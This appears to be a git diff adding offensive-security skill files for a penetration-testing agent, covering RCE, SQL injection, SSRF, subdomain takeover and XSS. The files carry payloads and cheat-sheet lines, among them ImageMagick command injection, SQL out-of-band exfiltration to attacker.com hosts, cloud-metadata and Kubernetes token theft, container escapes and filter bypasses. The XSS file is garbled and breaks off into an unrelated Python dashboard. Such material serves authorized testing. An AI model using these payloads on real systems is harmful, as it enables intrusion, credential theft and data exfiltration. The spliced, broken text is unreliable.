+**.NET** +- BinaryFormatter/DataContractSerializer +- APIs accepting untrusted ViewState without MAC + +**PHP** +- `unserialize()` and PHAR metadata +- Autoloaded gadget chains in frameworks and plugins + +**Python/Ruby** +- pickle, `yaml.load`/`unsafe_load`, Marshal +- Auto-deserialization in message queues/caches + +**Expression Languages** +- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec + +### Media and Document Pipelines + +**ImageMagick/GraphicsMagick** +- policy.xml may limit delegates; still test legacy vectors +``` +push graphic-context +fill 'url(https://x.tld/a"|id>/tmp/o")' +pop graphic-context +``` + +**Ghostscript** +- PostScript in PDFs/PS: `%pipe%id` file operators + +**ExifTool** +- Crafted metadata invoking external tools or library bugs + +**LaTeX** +- `\write18`/`--shell-escape`, `\input` piping; pandoc filters + +**ffmpeg** +- concat/protocol tricks mediated by compile-time flags + +### SSRF to RCE + +**FastCGI** +- `gopher://` to php-fpm (build FPM records to invoke system/exec) + +**Redis** +- `gopher://` write cron/authorized_keys or webroot +- Module load when allowed + +**Admin Interfaces** +- Jenkins script console, Spark UI, Jupyter kernels reachable internally + +### Container and Kubernetes + +**Docker** +- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup` +- Enumerate mounts and capabilities: `capsh --print` +- Abuses: mounted docker.sock, hostPath mounts, privileged containers +- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged` + +**Kubernetes** +- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount` +- Query API for pods/secrets; enumerate RBAC +- Talk to kubelet on 10250/10255; exec into pods +- Escalate via privileged pods, hostPath mounts, or daemonsets + +## Bypass Techniques + +**Encoding Differentials** +- URL encoding, Unicode normalization, comment insertion, mixed case +- Request smuggling to reach alternate parsers + +**Binary Alternatives** +- Absolute paths and alternate binaries (busybox, sh, env) +- Windows variations (PowerShell vs CMD) +- Constrained language bypasses + +## Post-Exploitation + +**Privilege Escalation** +- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`) + +**Persistence** +- cron/systemd/user services; web shell behind auth +- Plugin hooks; supply chain in CI/CD + +**Lateral Movement** +- SSH keys, cloud metadata credentials, internal service tokens + +## Testing Methodology + +1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks +2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag) +3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization +4. **Map boundaries** - Read/write locations, outbound egress +5. **Progress to control** - File write, scheduled execution, service restart hooks + +## Validation + +1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution +2. Show command context (uid, gid, cwd, env) and controlled output +3. Demonstrate persistence or file write under application constraints +4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed +5. Keep PoCs minimal and reproducible across runs and transports + +## False Positives + +- Only crashes or timeouts without controlled behavior +- Filtered execution of a limited command subset with no attacker-controlled args +- Sandboxed interpreters executing in a restricted VM with no IO or process spawn +- Simulated outputs not derived from executed commands + +## Impact + +- Remote system control under application user; potential privilege escalation to root +- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement +- Cluster compromise when combined with container/Kubernetes misconfigurations + +## Pro Tips + +1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise +2. When command injection is weak, pivot to file write or deserialization/SSTI paths +3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates +4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads +5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps +6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies +7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops + +## Summary + +RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path. diff --git a/imported-skills/strix/skills/vulnerabilities/sql_injection.md b/imported-skills/strix/skills/vulnerabilities/sql_injection.md new file mode 100644 index 0000000000000000000000000000000000000000..ec8afa77d4189029ed2b4bc147c132830062d056 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/sql_injection.md @@ -0,0 +1,190 @@ +--- +name: sql-injection +description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques +--- + +# SQL Injection + +SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect. + +## Attack Surface + +**Databases** +- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle +- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins + +**Integration Paths** +- ORMs, query builders, stored procedures +- Search servers, reporting/exporters + +**Input Locations** +- Path/query/body/header/cookie +- Mixed encodings (URL, JSON, XML, multipart) +- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements) +- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs +- JSON coercion or array containment operators +- Batch/bulk endpoints and report generators that embed filters directly + +## Detection Channels + +**Error-Based** +- Provoke type/constraint/parser errors revealing stack/version/paths + +**Boolean-Based** +- Pair requests differing only in predicate truth +- Diff status/body/length/ETag + +**Time-Based** +- `SLEEP`/`pg_sleep`/`WAITFOR` +- Use subselect gating to avoid global latency noise + +**Out-of-Band (OAST)** +- DNS/HTTP callbacks via DB-specific primitives + +## DBMS Primitives + +### MySQL + +- Version/user/db: `@@version`, `database()`, `user()`, `current_user()` +- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping +- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv) +- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))` +- Time: `SLEEP(n)`, `BENCHMARK` +- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak + +### PostgreSQL + +- Version/user/db: `version()`, `current_user`, `current_database()` +- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2 +- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions +- Time: `pg_sleep(n)` +- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export` +- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction + +### MSSQL + +- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()` +- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled +- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE` +- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays +- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks + +### Oracle + +- Version/db/user: banner from `v$version`, `ora_database_name`, `user` +- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent) +- Time: `dbms_lock.sleep(n)` +- Error-based: `to_number`/`to_date` conversions, `XMLType` +- File: `UTL_FILE` with directory objects (privileged) + +## Key Vulnerabilities + +### UNION-Based Extraction + +- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...` +- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering +- When UNION is filtered, switch to error-based or blind channels + +### Blind Extraction + +- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators +- Binary search on character space for fewer requests +- Encode outputs (hex/base64) to normalize +- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)` + +### Out-of-Band + +- Prefer OAST to minimize noise and bypass strict response paths +- Embed data in DNS labels or HTTP query params +- MSSQL: `xp_dirtree \\\\.attacker.tld\\a` +- Oracle: `UTL_HTTP.REQUEST('http://.attacker')` +- MySQL: `LOAD_FILE` with UNC path + +### Write Primitives + +- Auth bypass: inject OR-based tautologies or subselects into login checks +- Privilege changes: update role/plan/feature flags when UPDATE is injectable +- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection +- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow + +### ORM and Query Builders + +- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses +- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers +- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments +- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`) + +### Uncommon Contexts + +- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels +- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape +- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing +- XML/JSON functions: error generation via malformed documents/paths + +## Bypass Techniques + +**Whitespace/Spacing** +- `/**/`, `/**/!00000`, comments, newlines, tabs +- `0xe3 0x80 0x80` (ideographic space) + +**Keyword Splitting** +- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding + +**Numeric Tricks** +- Scientific notation, signed/unsigned, hex (`0x61646d696e`) + +**Encodings** +- Double URL encoding, mixed Unicode normalizations (NFKC/NFD) +- `char()`/`CONCAT_ws` to build tokens + +**Clause Relocation** +- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape + +## Testing Methodology + +1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET +2. **Determine input influence** - User input in identifiers vs values +3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks +4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based +5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS +6. **Pivot to metadata** - version, current user, database name +7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible + +## Validation + +1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates +2. Extract verifiable metadata (version, current user, database name) using the established channel +3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope +4. Provide reproducible requests that differ only in the injected fragment +5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant) + +## False Positives + +- Generic errors unrelated to SQL parsing or constraints +- Static response sizes due to templating rather than predicate truth +- Artificial delays from network/CPU unrelated to injected function calls +- Parameterized queries with no string concatenation, verified by code review + +## Impact + +- Direct data exfiltration and privacy/regulatory exposure +- Authentication and authorization bypass via manipulated predicates +- Server-side file access or command execution (platform/privilege dependent) +- Persistent supply-chain impact via modified data, jobs, or procedures + +## Pro Tips + +1. Pick the quietest reliable oracle first; avoid noisy long sleeps +2. Normalize responses (length/ETag/digest) to reduce variance when diffing +3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise +4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available +5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw` +6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly +7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels +8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types +9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly +10. Document exact query shapes; defenses must match how the query is constructed, not assumptions + +## Summary + +Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL. diff --git a/imported-skills/strix/skills/vulnerabilities/ssrf.md b/imported-skills/strix/skills/vulnerabilities/ssrf.md new file mode 100644 index 0000000000000000000000000000000000000000..af21643a09d94c167f5a7b9c27129246418d5917 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/ssrf.md @@ -0,0 +1,181 @@ +--- +name: ssrf +description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling +--- + +# SSRF + +Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE. + +## Attack Surface + +**Scope** +- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers) +- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers) +- Service-to-service hops through gateways and sidecars (envoy/nginx) +- Cloud and platform metadata endpoints, instance services, and control planes + +**Direct URL Params** +- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=` + +**Indirect Sources** +- Open Graph/link previews, PDF/image renderers +- Server-side analytics (Referer trackers), import/export jobs +- Webhooks/callback verifiers + +**Protocol-Translating Services** +- PDF via wkhtmltopdf/Chrome headless, image pipelines +- Document parsers, SSO validators, archive expanders + +**Less Obvious** +- GraphQL resolvers that fetch by URL +- Background crawlers, repository/package managers (git, npm, pip) +- Calendar (ICS) fetchers + +## High-Value Targets + +### AWS + +- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data` +- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs +- If sink cannot set headers or methods, seek intermediaries that can +- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` + +### GCP + +- Endpoint: `http://metadata.google.internal/computeMetadata/v1/` +- Required header: `Metadata-Flavor: Google` +- Target: `/instance/service-accounts/default/token` + +### Azure + +- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01` +- Required header: `Metadata: true` +- MSI OAuth: `/metadata/identity/oauth2/token` + +### Kubernetes + +- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only) +- Probe `/pods`, `/metrics`, exec/attach endpoints +- API server: `https://kubernetes.default.svc/` +- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them +- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server) + +### Internal Services + +- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only) +- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379 +- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices` +- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs +- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM) + +## Key Vulnerabilities + +### Protocol Exploitation + +**Gopher** +- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI) +- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests + +**File and Wrappers** +- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers +- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled + +### Address Variants + +- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]` +- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16 +- Test IPv6-mapped and mixed-notation forms + +### URL Confusion + +- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/` +- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/` +- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes + +### Redirect Abuse + +- Allowlist only applied pre-redirect: 302 from attacker → internal host +- Test multi-hop and protocol switches (http→file/gopher via custom clients) + +### Header and Method Control + +- Some sinks reflect or allow CRLF-injection into the request line/headers +- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable + +## Bypass Techniques + +**Address Encoding** +- Decimal, hex, octal representations of IP addresses +- IPv6 variants, IPv4-mapped IPv6, mixed notation + +**DNS Rebinding** +- First resolution returns allowed IP, second returns internal target +- Use short TTL DNS records under attacker control + +**URL Parser Differentials** +- Different parsing between allowlist checker and actual fetcher +- Exploit inconsistencies in scheme, host, port, path handling + +**Redirect Chains** +- Initial URL passes allowlist, redirect targets internal host +- Protocol downgrade/upgrade through redirects + +## Blind SSRF + +- Use OAST (DNS/HTTP) to confirm egress +- Derive internal reachability from timing, response size, TLS errors, and ETag differences +- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs) + +## Chaining Attacks + +- SSRF → Metadata creds → cloud API access (list buckets, read secrets) +- SSRF → Redis/FCGI/Docker → file write/command execution → shell +- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement + +## Testing Methodology + +1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs +2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first +3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames +4. **Protocol variations** - Test gopher, file, dict where supported +5. **Parser differentials** - Test across frameworks, CDNs, and language libraries +6. **Redirect behavior** - Single-hop, multi-hop, protocol switches +7. **Header/method control** - Can you influence request headers or HTTP method? +8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels + +## Validation + +1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences) +2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service +3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read +4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior + +## False Positives + +- Client-side fetches only (no server request) +- Strict allowlists with DNS pinning and no redirect following +- SSRF simulators/mocks returning canned responses without real egress +- Blocked egress confirmed by uniform errors across all targets and protocols + +## Impact + +- Cloud credential disclosure with subsequent control-plane/API access +- Access to internal control panels and data stores not exposed publicly +- Lateral movement into Kubernetes, service meshes, and CI/CD +- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces + +## Pro Tips + +1. Prefer OAST callbacks first; then iterate on internal addressing and protocols +2. Test IPv6 and mixed-notation addresses; filters often ignore them +3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs +4. Redirects are leverage: control both the initial allowlisted host and the next hop +5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them +6. Use tiny payloads and tight timeouts to map ports with minimal noise +7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability +8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there + +## Summary + +Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them. diff --git a/imported-skills/strix/skills/vulnerabilities/subdomain_takeover.md b/imported-skills/strix/skills/vulnerabilities/subdomain_takeover.md new file mode 100644 index 0000000000000000000000000000000000000000..af9bbce34db3fed44d6cf39fce94a6ef9edd43f0 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/subdomain_takeover.md @@ -0,0 +1,158 @@ +--- +name: subdomain-takeover +description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources +--- + +# Subdomain Takeover + +Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning. + +## Attack Surface + +- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN) +- Orphaned NS delegations (child zones with abandoned/expired nameservers) +- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME +- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification +- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages) + +## Reconnaissance + +### Enumeration Pipeline + +- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs +- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx +- Record graph: build a CNAME graph and collapse chains to identify external endpoints + +### DNS Indicators + +- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net` +- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers +- MX to third-party mail providers with decommissioned domains +- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings + +### HTTP Fingerprints + +Service-specific unclaimed messages (examples): +- **GitHub Pages**: "There isn't a GitHub Pages site here." +- **Fastly**: "Fastly error: unknown domain" +- **Heroku**: "No such app" or "There's nothing here, yet." +- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist" +- **CloudFront**: 403/400 with "The request could not be satisfied" +- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified +- **Shopify**: "Sorry, this shop is currently unavailable" + +TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain + +## Key Vulnerabilities + +### Claim Third-Party Resource + +- Create the resource with the exact required name: + - Storage/hosting: S3 bucket "sub.example.com" (website endpoint) + - Pages hosting: create repo/site and add the custom domain + - Serverless/app hosting: create app/site matching the target hostname + +### CDN Alternate Domains + +- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks +- Upload a TLS cert or use managed cert issuance + +### NS Delegation Takeover + +- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS +- Publish records to control all hosts under the delegated subzone + +### Mail Surface + +- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain + +## Advanced Techniques + +### Blind and Cache Channels + +- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured +- Cache poisoning: once taken over, exploit cache keys to persist malicious responses + +### CT and TLS + +- Use CT logs to detect unexpected certificate issuance for your subdomain +- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence + +### OAuth and Trust Chains + +- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection + +### Verification Gaps + +- Look for providers that accept domain binding prior to TXT verification +- Race windows: re-claim resource names immediately after victim deletion + +### Wildcards and Fallbacks + +- Wildcard CNAMEs to providers may expose unbounded subdomains +- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses + +## Special Contexts + +### Storage and Static + +- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname +- Website vs API endpoints differ in claimability and fingerprints + +### Serverless and Hosting + +- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary +- Most require TXT now, but historical projects may not + +### CDN and Edge + +- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs +- Some products historically allowed alt-domain claims without proof + +### DNS Delegations + +- Child-zone NS delegations outrank parent records +- Control of delegated NS yields full control of all hosts below that label + +## Testing Methodology + +1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory +2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains +3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs +4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures +5. **Attempt claim** (with authorization) - Create missing resource with exact required name +6. **Validate control** - Serve minimal unique payload; confirm over HTTPS + +## Validation + +1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details +2. After claim: serve unique content and verify over HTTPS at the target subdomain +3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence +4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) + +## False Positives + +- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks +- Provider-branded default pages for valid, owned resources (not a takeover) +- Soft 404s from your own infrastructure or catch-all vhosts + +## Impact + +- Content injection under trusted subdomain: phishing, malware delivery, brand damage +- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins +- OAuth/SSO abuse via whitelisted redirect URIs +- Email delivery manipulation for subdomain + +## Pro Tips + +1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims +2. Maintain a current fingerprint corpus; provider messages change frequently +3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance +4. Monitor CT for unexpected certs on your subdomains +5. Eliminate dangling DNS in decommission workflows first +6. For NS delegations, treat any expired nameserver domain as critical +7. Use CAA to limit certificate issuance while you triage + +## Summary + +Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle. diff --git a/imported-skills/strix/skills/vulnerabilities/xss.md b/imported-skills/strix/skills/vulnerabilities/xss.md new file mode 100644 index 0000000000000000000000000000000000000000..f238be1db05d357f7de7c070a4146a249ccba7f9 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/xss.md @@ -0,0 +1,206 @@ +--- +name: xss +description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques +--- + +# XSS + +Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types). + +## Attack Surface + +**Types** +- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells + +**Contexts** +- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF + +**Frameworks** +- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR + +**Defenses to Bypass** +- CSP/Trusted Types, DOMPurify, framework auto-escaping + +## Injection Points + +**Server Render** +- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers + +**Client Render** +- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals +- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}` + +**URL/DOM** +- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes + +**Events/Handlers** +- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers + +**Cross-Context** +- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB + +**File/Metadata** +- Image/SVG/XML names and EXIF, office documents processed server/client + +## Context Encoding Rules + +- **HTML text**: encode `< > & " '` +- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes +- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data +- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify` +- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()` +- **SVG/MathML**: treat as active content; many tags execute via onload or animation events + +## Key Vulnerabilities + +### DOM XSS + +**Sources** +- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages + +**Sinks** +- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write` +- `setAttribute`, `setTimeout`/`setInterval` with strings +- `eval`/`Function`, `new Worker` with blob URLs + +**Vulnerable Pattern** +```javascript +const q = new URLSearchParams(location.search).get('q'); +results.innerHTML = `
  • ${q}
    • `; +``` +Exploit: `?q=` + +### Mutation XSS + +Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags): +```html +    " + f"" + f"" + f"" + f"" + f"" + f"" + f"" + ) + + audit_rows = "".join( + f"" + f"" + f"" + f"" + for r in reversed(recent_audit) + ) + + body = ( + "

    ctx monitor

    " + # ── Stat grid ──────────────────────────────────────────────── + "
    " + + f"
    Currently loaded
    " + f"
    {len(manifest.get('load', []))}
    " + f"manage →
    " + + f"
    Sidecars
    " + f"
    {sum(grades.values())}
    " + f"browse →
    " + + f"
    Wiki entities
    " + f"
    {wstats['total']:,}
    " + f"" + f"{wstats['skills']:,} skills · {wstats['agents']:,} agents · " + f"{wstats['mcps']:,} MCPs
    " + + f"
    Knowledge graph
    " + f"
    {gstats['nodes']}
    " + f"{gstats['edges']:,} edges" + f" · explore →
    " + + f"
    Audit events
    " + f"
    {audit_lines}
    " + f"view → · live →
    " + + f"
    Sessions
    " + f"
    {len(sessions)}
    " + f"browse →
    " + + "
    " + # ── Grade distribution ──────────────────────────────────────── + "
    Skill quality grades: " + + "".join( + f"{g}: {n} " + for g, n in grades.items() + ) + + f" · total {sum(grades.values())}" + "
    " + # ── Two-column: recent sessions + recent audit ──────────────── + "
    " + f"
    Recent sessions ({len(sessions)} total)" + + ("
    {html.escape(sid[:20])}{html.escape(s['last_seen'] or '—')}{len(s['skills_loaded'])}{len(s['skills_unloaded'])}{len(s['agents_loaded'])}{s['score_updates']}
    {html.escape((r.get('ts') or '')[-8:])}{html.escape(r.get('event', ''))}{html.escape(r.get('subject',''))}
    " + "" + "" + + "".join(rows) + + "
    SessionLast seenLoadUnloadAgentsScores
    " if recent else + "

    No sessions recorded yet. Hooks start logging " + "once you run a Claude Code session with ctx installed.

    ") + + "" + "
    Latest audit events" + + ("" + "" + + audit_rows + + "
    TimeEventSubject
    " if recent_audit else + "

    No audit events yet.

    ") + + "
    " + "" + ) + return _layout("Home", body) + + +def _render_sessions_index() -> str: + sessions = _summarize_sessions() + rows = [] + for s in sessions: + sid = s["session_id"] + rows.append( + f"" + f"{html.escape(sid[:32])}" + f"{html.escape(s['first_seen'] or '—')}" + f"{html.escape(s['last_seen'] or '—')}" + f"{len(s['skills_loaded'])}" + f"{len(s['skills_unloaded'])}" + f"{len(s['agents_loaded'])}" + f"{s['lifecycle_transitions']}" + f"" + ) + body = ( + "

    Sessions

    " + f"

    {len(sessions)} unique sessions observed.

    " + "" + "" + "" + + "".join(rows) + + "
    SessionFirst seenLast seenSkills↑Skills↓Agents↑Lifecycle
